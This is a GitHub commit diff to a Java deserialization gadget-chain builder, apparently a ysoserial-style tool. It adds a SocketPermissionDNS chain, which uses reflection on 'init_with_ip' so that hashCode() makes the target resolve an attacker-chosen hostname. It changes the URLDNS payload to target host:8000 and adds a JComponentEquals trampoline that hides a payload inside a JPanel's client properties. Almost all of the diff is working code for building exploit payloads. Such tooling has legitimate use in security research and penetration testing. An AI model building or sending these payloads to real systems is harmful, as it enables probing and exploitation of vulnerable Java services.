Skip to content

Commit 5e02c33

Browse files
author
brunok-cs
committed
added Flash JDK gadget chains
1 parent 11f456c commit 5e02c33

File tree

6 files changed

+88
-0
lines changed

6 files changed

+88
-0
lines changed

gadgetbuilder-api/src/main/java/org/ses/gadgetbuilder/annotations/Authors.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -51,6 +51,7 @@
5151
String PYN3RD = "pyn3rd";
5252
String JWU = "junjieWu";
5353
String JARIJ = "jarij";
54+
String YihengZhang = "yiheng_zhang";
5455

5556
public static class Utils {
5657
public static String[] getAuthors(AnnotatedElement annotated) {

gadgetbuilder-api/src/main/java/org/ses/gadgetbuilder/chains/command/CommandFormat.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,7 @@ static CommandFormat getCommandFormatFromImpact(String impact) {
2424
case Impact.SetProperty:
2525
return new SetPropertyCommandFormat();
2626
case Impact.DNSLookup:
27+
return new URLDNSCommandFormat();
2728
case Impact.SSRF:
2829
return new URLCommandFormat();
2930
default:
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
package org.ses.gadgetbuilder.chains.command;
2+
3+
import java.net.MalformedURLException;
4+
import java.net.URL;
5+
6+
public class URLDNSCommandFormat implements CommandFormat {
7+
@Override
8+
public String getCommandFormat() {
9+
return "<valid_fqdn>, e.g. foo.com";
10+
}
11+
12+
@Override
13+
public boolean isValidCommandFormat(String command) {
14+
return command.split("\\.").length > 1;
15+
}
16+
}
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
package org.ses.gadgetbuilder.chains1;
2+
3+
import org.ses.gadgetbuilder.annotations.Authors;
4+
import org.ses.gadgetbuilder.annotations.Dependencies;
5+
import org.ses.gadgetbuilder.annotations.Impact;
6+
import org.ses.gadgetbuilder.chains.main.GadgetChain;
7+
import org.ses.gadgetbuilder.chains.main.TrampolineConnector;
8+
import org.ses.gadgetbuilder.chains.trampolines.noparam.HashCodeTrampoline;
9+
import org.ses.gadgetbuilder.util.Reflections;
10+
11+
import java.net.*;
12+
13+
@Dependencies()
14+
@Authors({ Authors.YihengZhang })
15+
@Impact(Impact.DNSLookup)
16+
public class SocketPermissionDNS extends GadgetChain<HashCodeTrampoline> {
17+
18+
public SocketPermissionDNS(HashCodeTrampoline _trampoline) {
19+
super(_trampoline);
20+
}
21+
22+
@Override
23+
protected TrampolineConnector createPayload(String command) throws Exception {
24+
SocketPermission permission = new SocketPermission(command, "connect");
25+
Reflections.setFieldValue(permission, "init_with_ip", true);
26+
return new TrampolineConnector(permission);
27+
}
28+
29+
@Override
30+
protected void postProcessPayload() throws Exception {
31+
32+
}
33+
34+
@Override
35+
protected String getStackTrace() {
36+
return " <java.net.SocketPermission: int hashCode()>\n" +
37+
" <java.net.SocketPermission: void getCanonName()>\n" +
38+
" <java.net.SocketPermission: void getIP()>\n" +
39+
" <java.net.InetAddress: java.net.InetAddress[] getAllByName0(java.lang.String,boolean)>\n" +
40+
" <java.net.InetAddress: java.net.InetAddress[] getAllByName0(java.lang.String,java.net.InetAddress,boolean)>";
41+
}
42+
}

gadgetbuilder-chains1/src/main/java/org/ses/gadgetbuilder/chains1/URLDNS.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,8 @@ public URLDNS(HashCodeTrampoline _trampoline) {
2727

2828
@Override
2929
protected TrampolineConnector createPayload(String command) throws Exception {
30+
command = "http://" + command + ":8000";
31+
3032
URLStreamHandler handler = new SilentURLStreamHandler();
3133
this.url = new URL(null, command, handler);
3234

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
package org.ses.gadgetbuilder.impl.trampolines.equals;
2+
3+
import org.ses.gadgetbuilder.annotations.Authors;
4+
import org.ses.gadgetbuilder.chains.trampolines.singleparam.EqualsTrampoline;
5+
import org.ses.gadgetbuilder.util.Reflections;
6+
7+
import javax.swing.*;
8+
9+
@Authors(Authors.YihengZhang)
10+
public class JComponentEquals implements EqualsTrampoline {
11+
12+
13+
@Override
14+
public Object wrapPayload(Object payload, Object param) throws Exception {
15+
16+
JPanel j = new JPanel();
17+
Class atClass = Class.forName("javax.swing.ArrayTable");
18+
Object arrayTable = Reflections.createWithoutConstructor(atClass);
19+
Object[] table = new Object[]{payload, "1", param, "2"};
20+
21+
Reflections.setFieldValue(arrayTable, "table", table);
22+
Reflections.setFieldValue(j, "clientProperties", arrayTable);
23+
24+
return j;
25+
}
26+
}

0 commit comments

Comments
 (0)